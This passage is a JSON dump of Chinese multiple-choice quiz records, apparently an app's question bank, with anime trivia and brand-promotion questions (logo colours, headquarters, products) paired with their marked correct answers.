04:39:22","status":"1"},{"questionId":"1901442086","questionIndex":"1","questionStem":"妖精的尾巴众主角在天狼岛被打败后失踪几年","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3J8uEoDzvIvIj-Q\",\"optionDesc\":\"8年\"},{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3Jovngm_evQN41A\",\"optionDesc\":\"9年\"},{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3JP31FXQt7myRvw\",\"optionDesc\":\"7年\"}]","questionToken":"Ks0Sx0BXjT6uYNUAoWOsdul0IFdsm90_5Jl5Fc7ud2WOJS6xr46KBhRkaxQTLXdWCSk8vG15hH9hWrn4oq2B-aJf4bD9og","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3JP31FXQt7myRvw\",\"optionDesc\":\"7年\"}","create_time":"27/1/2021 04:33:07","update_time":"27/1/2021 04:33:07","status":"1"},{"questionId":"1901442087","questionIndex":"3","questionStem":"以下哪项不是路飞的招式?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JChKO1NQos14RGQ\",\"optionDesc\":\"三千世界\"},{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JpZMxEyIXL-vEuA\",\"optionDesc\":\"橡胶手枪\"},{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3J3NO5B4hi0pEGtg\",\"optionDesc\":\"橡皮火箭炮\"}]","questionToken":"Ks0Sx0BXjT6uYdUCoWOscSICpV1Pd2Rc7J18K6LjDGBN6cYsNQc2a6e8E_ZK7IUMT950CxcNz0jzFVKPF0GWDinGrHaZOQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JChKO1NQos14RGQ\",\"optionDesc\":\"三千世界\"}","create_time":"27/1/2021 04:51:21","update_time":"27/1/2021 04:51:21","status":"1"},{"questionId":"1901442088","questionIndex":"3","questionStem":"《黑执事》中是谁杀了夏尔的父母?","options":"[{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3J2x6hxKuUR7c6tkyAg\",\"optionDesc\":\"死神格雷尔\"},{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JAzxQx4h6TIgAC-8Og\",\"optionDesc\":\"虐杀天使亚修\"},{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JjWwnvZ-a-t6l0uHAA\",\"optionDesc\":\"红夫人安吉丽娜\"}]","questionToken":"Ks0Sx0BXjT6ubtUCoWOsdlA3Py3fG40T5VvHuEYyWQzlGvjx8O0gCtG7oZxR_jMFVaPaB0q9aiEkcG9uIkFV9GZnMDusnw","correct":"{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JAzxQx4h6TIgAC-8Og\",\"optionDesc\":\"虐杀天使亚修\"}","create_time":"27/1/2021 04:39:47","update_time":"27/1/2021 04:39:47","status":"1"},{"questionId":"1901442089","questionIndex":"1","questionStem":"《火影忍者》中哪项是八尾的能力?","options":"[{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JoL-LbYTqaJdSccqyA\",\"optionDesc\":\"使用泡沫和酸雾\"},{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JFN_Fv-vsbud8a9liA\",\"optionDesc\":\"尾巴有缠绕能力\"},{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3J9Xpmsn9BBiUX5J0-w\",\"optionDesc\":\"控制风沙\"}]","questionToken":"Ks0Sx0BXjT6ub9UAoWOscSLs7t695TpKdOtguqK_2DVApt1NTwBd-uIxuDrTgPGQQLMx5YZs23wGYfK8Yd8JPA_h-8vjag","correct":"{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JFN_Fv-vsbud8a9liA\",\"optionDesc\":\"尾巴有缠绕能力\"}","create_time":"27/1/2021 04:47:03","update_time":"27/1/2021 04:47:03","status":"1"},{"questionId":"1901442091","questionIndex":"2","questionStem":"《轻音部少女》秋山澪在学校人气飙升的原因","options":"[{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3J4Dx5vNdXmY\",\"optionDesc\":\"胆小\"},{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JDDZB-mYVk8\",\"optionDesc\":\"不小心摔倒走光\"},{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JnI-lSe8lbU\",\"optionDesc\":\"害羞性格\"}]","questionToken":"Ks0Sx0BXjT6vZ9UDoWOsdmCdndlEhhwGUzAm-vgV3Ut9662GD5iTq3yne3D1ogYiS2jElRFIR8fNNOtOwBnut8MFAPnC7Q","correct":"{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JDDZB-mYVk8\",\"optionDesc\":\"不小心摔倒走光\"}","create_time":"27/1/2021 04:37:43","update_time":"27/1/2021 04:37:43","status":"1"},{"questionId":"1901442093","questionIndex":"1","questionStem":"《百变小樱》中小樱的那只太阳封印之兽叫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JBZAPBbDPpxAX-d9zQ\",\"optionDesc\":\"小可\"},{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JtzcFtRzYkGWInkzMQ\",\"optionDesc\":\"雪兔\"},{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3J_yIDFNZfdRUlvXKfA\",\"optionDesc\":\"月\"}]","questionToken":"Ks0Sx0BXjT6vZdUAoWOsdmPsK-TlSXIVlHF26h3nra3NSJRyfstyoTnHQeBx73a8UrJSKg44qUeZCfu2L3lOfr970285rw","correct":"{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JBZAPBbDPpxAX-d9zQ\",\"optionDesc\":\"小可\"}","create_time":"27/1/2021 04:26:01","update_time":"27/1/2021 04:26:01","status":"1"},{"questionId":"1901442094","questionIndex":"4","questionStem":"宇智波鼬的戒指是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JJIqK018oKnQsi5nlg\",\"optionDesc\":\"朱雀\"},{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3Jjp5-zn8aHRKdfBAgw\",\"optionDesc\":\"玉女\"},{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JzQ90iBH4IL2fhg2lQ\",\"optionDesc\":\"青龙\"}]","questionToken":"Ks0Sx0BXjT6vYtUFoWOsduDaykJcn_xw-mk7_O3GymEX-GOI7bQE-lzC62xZ3k3k86baMr7n7DvK6glUQu_z6XVqi_OfaQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JJIqK018oKnQsi5nlg\",\"optionDesc\":\"朱雀\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"1901442095","questionIndex":"2","questionStem":"路飞海贼团中赏金最低的是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JKRAqeOGpbKPwLrl\",\"optionDesc\":\"乔巴\"},{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JpumYRl5CE3Hq80y\",\"optionDesc\":\"撒谎布\"},{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3J2D1x22M1DAm1lrk\",\"optionDesc\":\"山治\"}]","questionToken":"Ks0Sx0BXjT6vY9UDoWOsdukM1WkjoiWR5ku8SydL_cQ7SBZ0FreBgj4EL6NccmDqDLjm_TfHIYqujyPyQcnU3S3DOc--Kg","correct":"{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JKRAqeOGpbKPwLrl\",\"optionDesc\":\"乔巴\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"1901442096","questionIndex":"3","questionStem":"EVA中零号机的驾驶员是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JrP8fGpJbA-53BOE8A\",\"optionDesc\":\"渚薰\"},{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3J7T_Jgai01aoMUZxPA\",\"optionDesc\":\"明日香\"},{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JIvOZFQUnithL33TeA\",\"optionDesc\":\"绫波丽\"}]","questionToken":"Ks0Sx0BXjT6vYNUCoWOscY_eJQLPA0z4XbKOjtzN8RvaBRbYjzqq6LAp4h39fW6a3RqSWAPWGhovw0TrWpFdymXSFHdH7w","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JIvOZFQUnithL33TeA\",\"optionDesc\":\"绫波丽\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"1901442097","questionIndex":"1","questionStem":"以下作品哪部不是皮克斯动画工厂出产的?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JnmAymS4-ak9wm4\",\"optionDesc\":\"《飞屋环游记》\"},{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3J_dEdE0ePTjSNPQ\",\"optionDesc\":\"《海底总动员》\"},{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JMiEi_X4OUU6FWo\",\"optionDesc\":\"《冰河世纪》\"}]","questionToken":"Ks0Sx0BXjT6vYdUAoWOsdrZZgEm2QRy-Nt2E71XM-ITDNrh_kNTCvDVGQWcubvafpa74FirEqrX_nqEd8HOpMI4FvRsUgA","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JMiEi_X4OUU6FWo\",\"optionDesc\":\"《冰河世纪》\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"4901451124","questionIndex":"2","questionStem":"金水宝胶囊礼盒是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8L9piF_LwH1NcmYkb_Q\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8LeWc59SVJsmr4pCRIg\",\"optionDesc\":\"金色\"},{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8Lni-WUZoKb93yr7kqg\",\"optionDesc\":\"白色\"}]","questionToken":"L80Sx0BWjj8N8PMOn5fnfzMqdCJnK6iwkmcALCC5CZggrTZhg8z-PgIA39KLTPdOlDZAYKOvP7DcMgHBIcG6-Yo6dF2uQA","correct":"{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8LeWc59SVJsmr4pCRIg\",\"optionDesc\":\"金色\"}","create_time":"27/1/2021 04:39:40","update_time":"27/1/2021 04:39:40","status":"1"},{"questionId":"4901451125","questionIndex":"3","questionStem":"济民可信的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8LxOb050Gpi-IzMZgpw\",\"optionDesc\":\"金色\"},{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8LrIwUWKFTBv0Q8vaaA\",\"optionDesc\":\"白色\"},{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8Lfmpc43ja3asLAebbg\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8N8fMPn5fneLoKbhQ9R2447f_3UUxlQjdei7v-3JdoyPD-H5PsCVpQhmcy0MRTDuNqhq9n8Xvky1UhShFe8A","correct":"{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8Lfmpc43ja3asLAebbg\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 03:40:21","update_time":"27/1/2021 03:40:21","status":"1"},{"questionId":"4901451126","questionIndex":"5","questionStem":"济民可信总部位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8L4xqSWVKEf-YT_B9pQ\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LupLnfNbi96K9iVh1w\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LUkamSkQhBncnwP7og\",\"optionDesc\":\"江西南昌\"}]","questionToken":"L80Sx0BWjj8N8vMJn5fneG3jHWPQzrAiat762qiYG69X6cnqYlZChznoKs9tYcnFhdbuqzrLLdh_RALHDZqd9QA1fhvLEA","correct":"{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LUkamSkQhBncnwP7og\",\"optionDesc\":\"江西南昌\"}","create_time":"27/1/2021 04:48:58","update_time":"27/1/2021 04:48:58","status":"1"},{"questionId":"4901451127","questionIndex":"5","questionStem":"顾家是做什么起家的?","options":"[{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8LcuSemUWslsOja4D\",\"optionDesc\":\"沙发\"},{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8Ln-6TAL-TO4s2L2y\",\"optionDesc\":\"床垫\"},{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8L3LaCJNIdqxGHs-2\",\"optionDesc\":\"椅子\"}]","questionToken":"L80Sx0BWjj8N8_MJn5fnfwCJwlEQdYX6heTUPA7ZCcr9IbqUZa20H1ihyUvJg6jvuKr0ZKHRCCSFvpW81WEIS4tvGBzEBw","correct":"{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8LcuSemUWslsOja4D\",\"optionDesc\":\"沙发\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"4901451128","questionIndex":"1","questionStem":"顾家的总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8L8wwTHZOy7obO9Rk\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LXM-k7ebBdN2l__Z\",\"optionDesc\":\"杭州\"},{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LuT0uvifcYTZd4ZI\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8N_PMNn5fnfwFApV8Fw-eEVn6m5KBfj8uvr7pKMD8SVDHnIlJ8RI2NwFP8W_46dJJQDAypkxWH2CkcEKjRBg","correct":"{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LXM-k7ebBdN2l__Z\",\"optionDesc\":\"杭州\"}","create_time":"27/1/2021 04:39:54","update_time":"27/1/2021 04:39:54","status":"1"},{"questionId":"4901451129","questionIndex":"2","questionStem":"顾家家居的logo颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8LpbasjLTyQgBSsbR\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8Ldwfn2vqUutCgGfB\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8L7qQ6psnrd-i1Ilp\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjj8N_fMOn5fnf7zQW3z7mjsiUTzbo6AoOunHNz6tTSRTM1lti7vVEoULKl5AiF5iBz4SFIaqAAYMHlNupiaUbA","correct":"{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8Ldwfn2vqUutCgGfB\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"4901451130","questionIndex":"2","questionStem":"海天的logo颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8L8fQYpVsnA0IcoTSnw\",\"optionDesc\":\"绿色\"},{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LVTk3W8Fs7cNmqzG_Q\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LqihkdKj9Z9YAuX1ig\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8M9PMOn5fneNR_m12cjy77LWTuboTlY-8JQwshnXPX1h4w4n0TpZLkioYEJp3sjtI-X_nSApl3oQ9OrxJHRg","correct":"{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LVTk3W8Fs7cNmqzG_Q\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:32:55","update_time":"27/1/2021 04:32:55","status":"1"},{"questionId":"4901451131","questionIndex":"1","questionStem":"海天主要卖什么产品?","options":"[{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LTmML9fZvWTQkmM\",\"optionDesc\":\"调味品\"},{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8L-yGqokz3asdX5o\",\"optionDesc\":\"清洁用品\"},{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LjxFguqbBmJe8oE\",\"optionDesc\":\"电子设备\"}]","questionToken":"L80Sx0BWjj8M9fMNn5fneHYfGu_p1p6MBC0DAHZAXI96XYSJF0fyOl2YfHdDJr4_-YLgSx5b-WR89mjchQYoM1TxSfuREw","correct":"{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LTmML9fZvWTQkmM\",\"optionDesc\":\"调味品\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"4901451132","questionIndex":"3","questionStem":"海天工厂总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8L6waO0iNorhczZs\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8LQ1JIZNvWcbXF84\",\"optionDesc\":\"广东佛山\"},{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8Li_a1hvQ18vb94E\",\"optionDesc\":\"四川成都\"}]","questionToken":"L80Sx0BWjj8M9vMPn5fneONoSpqduSXBYNm5NkrTdRVFIuZ8MtY4TwfU-zBiwJD3xCH-nZHELMArqt-f9FpKSTjbi7JM1A","correct":"{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8LQ1JIZNvWcbXF84\",\"optionDesc\":\"广东佛山\"}","create_time":"27/1/2021 04:56:31","update_time":"27/1/2021 04:56:31","status":"1"},{"questionId":"4901451133","questionIndex":"3","questionStem":"惠氏启赋的罐子是什么颜色的?","options":"[{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8L_07aOoBi0PEqXA\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8LTErxSkg2vF6i2Y\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8Liq2tZ0x-TphUhI\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjj8M9_MPn5fnf8WfhBlvnKjMEIoA4UNmEIW4C0XagfsfZ3IkmZRkD1oZ4kb_vbK1k9O0yQcPnfGHvWLmPuWTbg","correct":"{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8LTErxSkg2vF6i2Y\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"4901451134","questionIndex":"4","questionStem":"惠氏有机奶粉的奶源来自哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8L2nsxfpnh6UCGVdFxA\",\"optionDesc\":\"西班牙\"},{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LmpOiHWxrT6Lui-m1Q\",\"optionDesc\":\"印度\"},{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LWAxE5BdKxIgizxVHA\",\"optionDesc\":\"爱尔兰\"}]","questionToken":"L80Sx0BWjj8M8PMIn5fnfwfFeM9-Rk_3sONryn5tOju7EMtSkUQyzBqBdnUWicy18A7tHf-KnlFer-dZAYYyiwd5anhKKg","correct":"{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LWAxE5BdKxIgizxVHA\",\"optionDesc\":\"爱尔兰\"}","create_time":"27/1/2021 04:45:00","update_time":"27/1/2021 04:45:00","status":"1"},{"questionId":"4901451135","questionIndex":"2","questionStem":"以下哪个选项是惠氏铂臻奶粉没有的成分?","options":"[{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LV7PGov3Xc-4cvJc\",\"optionDesc\":\"珍稀植物钙\"},{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LyY1wmUvpHqDI2K5\",\"optionDesc\":\"双短链益生元\"},{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LgvKqjxuHUmwokds\",\"optionDesc\":\"脑磷脂群\"}]","questionToken":"L80Sx0BWjj8M8fMOn5fnf_X9bjpEmK22UFANhJDM0Gh_Blq2EGa4Gu_nXyyE7-4sTd0jHpAck5EovKteVLwRsjquB1tetA","correct":"{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LV7PGov3Xc-4cvJc\",\"optionDesc\":\"珍稀植物钙\"}","create_time":"27/1/2021 04:50:45","update_time":"27/1/2021 04:50:45","status":"1"},{"questionId":"4901451136","questionIndex":"1","questionStem":"福临门logo的颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8LU-5tsxBAmc1pRlD\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8L51d3KlBsTg-pxma\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8Ll7O2rmjjZz-yFNq\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjj8M8vMNn5fnfxditx4vMSyPxfpQxB_8FVxcLZQlULqR_NNwlTNYDgvMrFXbEP_d_oipN_ab9EaNKd9m0r-4gw","correct":"{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8LU-5tsxBAmc1pRlD\",\"optionDesc\":\"黄色\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"4901451137","questionIndex":"5","questionStem":"福临门成立时间是哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8L31YgZHbgiJeQs3n\",\"optionDesc\":\"2020年\"},{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LkYkdtqldomZ5izN\",\"optionDesc\":\"2018年\"},{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LaNy3kemH8veVw9q\",\"optionDesc\":\"2007年\"}]","questionToken":"L80Sx0BWjj8M8_MJn5fneGvHD7obpPVOyAv0sCql7koayKgV90qbT5XGi7L1Efq6BUjDXtdJPDICOuzRLP2_UNleOJX8pg","correct":"{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LaNy3kemH8veVw9q\",\"optionDesc\":\"2007年\"}","create_time":"27/1/2021 04:52:20","update_time":"27/1/2021 04:52:20","status":"1"},{"questionId":"4901451138","questionIndex":"1","questionStem":"以下哪个属于福临门产品?","options":"[{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LeeToy2-HOlFuSTIqg\",\"optionDesc\":\"食用油\"},{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8L8ZeP-F2GtREahr8fg\",\"optionDesc\":\"薯片\"},{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LkH1UnQrOIUPvhm_kA\",\"optionDesc\":\"抽纸\"}]","questionToken":"L80Sx0BWjj8M_PMNn5fneGYqFgXUjuKcsPnhCmvgl5nLiVnL9h25zFyU3990NIEyArLSmLxvbgMqbyKePpqfhCbMHCUDhg","correct":"{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LeeToy2-HOlFuSTIqg\",\"optionDesc\":\"食用油\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"4901451139","questionIndex":"2","questionStem":"费列罗源自于哪国?","options":"[{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8L_9zjdQtR5kphZvU\",\"optionDesc\":\"英国\"},{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LrUycWp_uYp94f3V\",\"optionDesc\":\"德国\"},{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LYH1l-nA4jdDI_Sj\",\"optionDesc\":\"意大利\"}]","questionToken":"L80Sx0BWjj8M_fMOn5fneDJI8k7-koxFTrEyxjAyfE2_XDGhDuAyGMiI1XzJKaMexFteqPW1stOpBc-BnzEj-P2vdIm33A","correct":"{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LYH1l-nA4jdDI_Sj\",\"optionDesc\":\"意大利\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"4901451140","questionIndex":"1","questionStem":"费列罗主要卖什么产品?","options":"[{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8Lm_Qs3c_5L8QnDVT\",\"optionDesc\":\"面包\"},{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8L2f6cpKmGJ-N6pGs\",\"optionDesc\":\"牛奶\"},{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8LY_opPE6bjIxxLzi\",\"optionDesc\":\"巧克力\"}]","questionToken":"L80Sx0BWjj8L9PMNn5fnfzV8eVNY-VR7DBULBA_Dmuo3p5iYGO1dvVXCX5KfYKS9yUkcoSoiZXCphfoKmo04VPtgin5zig","correct":"{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8LY_opPE6bjIxxLzi\",\"optionDesc\":\"巧克力\"}","create_time":"27/1/2021 04:47:12","update_time":"27/1/2021 04:47:12","status":"1"},{"questionId":"4901451141","questionIndex":"5","questionStem":"费列罗logo的颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8L9tBZtWLLgplDAM\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LndxVDIdfa0gqUE\",\"optionDesc\":\"绿色\"},{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LUkcYHZVtz6qASI\",\"optionDesc\":\"咖啡色\"}]","questionToken":"L80Sx0BWjj8L9fMJn5fnf_HgtmwWdv9yxWP2sLewOgmUQL5FH9cDYFHvoszeSqLGClvGStg9cMQHlIpnK4oBh8ECEP1t6A","correct":"{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LUkcYHZVtz6qASI\",\"optionDesc\":\"咖啡色\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"4901451142","questionIndex":"4","questionStem":"惠而浦总部位于哪个国家?","options":"[{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8L0-8g_7wgs4VpoTmTg\",\"optionDesc\":\"意大利\"},{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LtEcSJHMmrhfakiMtA\",\"optionDesc\":\"德国\"},{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LaO_imJLmPGtg3yZiw\",\"optionDesc\":\"美国\"}]","questionToken":"L80Sx0BWjj8L9vMIn5fneLJPEZl7RUBbHkB2a2JNTl9aOvmNVnl-pH78yN4Y6Vw2Pafj6Fq4GO8x8gV5WakP4hvvQImFrQ","correct":"{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LaO_imJLmPGtg3yZiw\",\"optionDesc\":\"美国\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"4901451143","questionIndex":"3","questionStem":"惠而浦创立至今多少年了?","options":"[{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8LUloc3i-_RFgQNs7wA\",\"optionDesc\":\"99年\"},{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8L70uGjxQ1AwDNSs5_Q\",\"optionDesc\":\"29年\"},{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8Lv4GLqBmPFgP3nQy4w\",\"optionDesc\":\"59年\"}]","questionToken":"L80Sx0BWjj8L9_MPn5fnfzpVIrmZVkspoXjD0n9SiARCG9oLan_B2ixNrFjzZncw1b_SfRF2WcryxD7LHTylegkAG4v-EA","correct":"{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8LUloc3i-_RFgQNs7wA\",\"optionDesc\":\"99年\"}","create_time":"27/1/2021 04:35:45","update_time":"27/1/2021 04:35:45","status":"1"},{"questionId":"4901451144","questionIndex":"3","questionStem":"惠而浦的售后保障是?","options":"[{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LroipyAQ0ocY6cw\",\"optionDesc\":\"整机保修2年\"},{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8L1xd5F7TdTojAZw\",\"optionDesc\":\"整机保修1年\"},{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LczwahcsDbxcRJk\",\"optionDesc\":\"整机保修3年\"}]","questionToken":"L80Sx0BWjj8L8PMPn5fnf_MR7KWnz2bk0Sz91f95rV5uu_vYsNnCdsmaHVWL5FwDlcGNRPd26Kns_CRjro-4WXRn5WDrhg","correct":"{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LczwahcsDbxcRJk\",\"optionDesc\":\"整机保修3年\"}","create_time":"27/1/2021 04:48:48","update_time":"27/1/2021 04:48:48","status":"1"},{"questionId":"4901451145","questionIndex":"2","questionStem":"科沃斯2020年销量最大的产品是?","options":"[{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8L8SSNCOaoNiGtph2\",\"optionDesc\":\"空气净化机器人\"},{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8La7Hh4yJLkfEYW9V\",\"optionDesc\":\"扫地机器人\"},{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8Ll9ItYsQaXl1AqP1\",\"optionDesc\":\"擦窗机器人\"}]","questionToken":"L80Sx0BWjj8L8fMOn5fnf6BKjFrcWo-orHUPcnkdeoB2Kbgibrfl3rf3FWar_qo7fYAb6sQ5Zya75DAu6Lhf5DJzaeWRaA","correct":"{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8La7Hh4yJLkfEYW9V\",\"optionDesc\":\"扫地机器人\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 